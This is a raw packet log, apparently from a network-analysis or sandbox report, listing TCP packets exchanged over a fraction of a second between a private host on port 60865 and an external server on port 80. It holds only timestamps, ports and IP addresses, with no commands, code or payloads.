Sep 27, 2024 18:29:09.077174902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077182055 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077187061 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077198029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077209949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077209949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077223063 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077224970 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077239037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077249050 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077250957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077270985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077270985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077291012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077476978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077488899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077500105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077511072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077523947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077527046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077536106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077548027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077548027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077548027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077559948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077563047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077572107 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077583075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077589989 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077615023 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077622890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077625036 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077635050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077646017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077656984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077666044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077672005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077672005 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077677965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077688932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077698946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077703953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077703953 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077713966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077716112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077728987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077739000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077744007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077744007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077749968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077761889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077769995 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077775002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077783108 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077786922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077799082 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077809095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077811003 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077821016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077832937 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077836990 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077845097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077853918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077857018 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077869892 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.077877045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077898026 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.077910900 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078516006 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078527927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078537941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078548908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078558922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078564882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078572035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078583002 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078584909 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078593969 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078600883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078605890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078622103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078629017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078634024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078639030 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078646898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078658104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078669071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078679085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078679085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078679085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078680992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078691959 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078702927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078704119 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078715086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078715086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078727961 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078739882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078743935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078752041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078763008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078771114 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078774929 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078785896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078787088 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078798056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078799009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078805923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078809977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078816891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078824043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078836918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.078850031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078874111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.078905106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079214096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079227924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079241037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079251051 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079261065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079266071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079266071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079267025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079282999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079298973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079324007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079360008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079372883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079391003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079401016 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079401970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079413891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079425097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079435110 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079437017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079448938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079452038 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079471111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079483032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079493046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079500914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079507113 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079514027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079516888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079531908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079536915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079545021 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079557896 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079566002 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079570055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079577923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079582930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079596043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079602957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079607964 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079619884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079619884 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079632044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079642057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079644918 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079657078 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079662085 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079670906 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079682112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.079696894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079696894 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.079713106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080307007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080318928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080329895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080341101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080352068 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080360889 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080364943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080374956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080379009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080391884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080394983 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080401897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080414057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080420017 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080425978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080427885 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080437899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080449104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080450058 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080461979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080468893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080480099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080492973 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080492973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080492973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080503941 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080518007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080521107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080528975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080528975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080543995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080554008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080560923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080566883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080576897 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080588102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080590010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080590010 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080599070 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080607891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080611944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080624104 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080632925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080632925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080637932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080650091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080660105 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080660105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080672979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080674887 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080686092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080697060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.080702066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080734015 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080734015 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.080741882 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081304073 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081316948 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081326962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081336975 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081347942 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081357956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081358910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081370115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081379890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081379890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081381083 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081393003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081403971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081415892 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081425905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081443071 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081444979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081450939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081451893 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081456900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081469059 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081476927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081480980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081494093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081496000 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081504107 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081506968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081521034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081532001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081535101 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081545115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081554890 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081557035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081568956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081579924 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081581116 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081593037 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081604004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081604958 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081615925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081624985 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081629038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081641912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081645012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081654072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081665993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081667900 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081677914 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.081685066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081708908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.081728935 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.082195044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.082207918 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.082216978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.082228899 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.082240105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.082242012 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.082252979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.082267046 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.082278967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.082288980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.082300901 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.082310915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.082323074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.082323074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.082323074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.082323074 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.082338095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.082366943 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.164068937 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.169250011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370574951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370615005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370635033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370646000 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370657921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370675087 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370687008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370699883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370758057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.370789051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.370789051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.370795965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370807886 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370846987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.370877028 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370887041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370898008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370908976 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370918989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370925903 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.370930910 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.370953083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.370980024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371012926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371023893 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371040106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371062994 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371083975 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371176004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371186972 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371196032 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371205091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371215105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371217966 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371227026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371237993 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371246099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:09.371248960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:09.371260881 CEST	80	60865	194.87.29.53	192.168.2.4
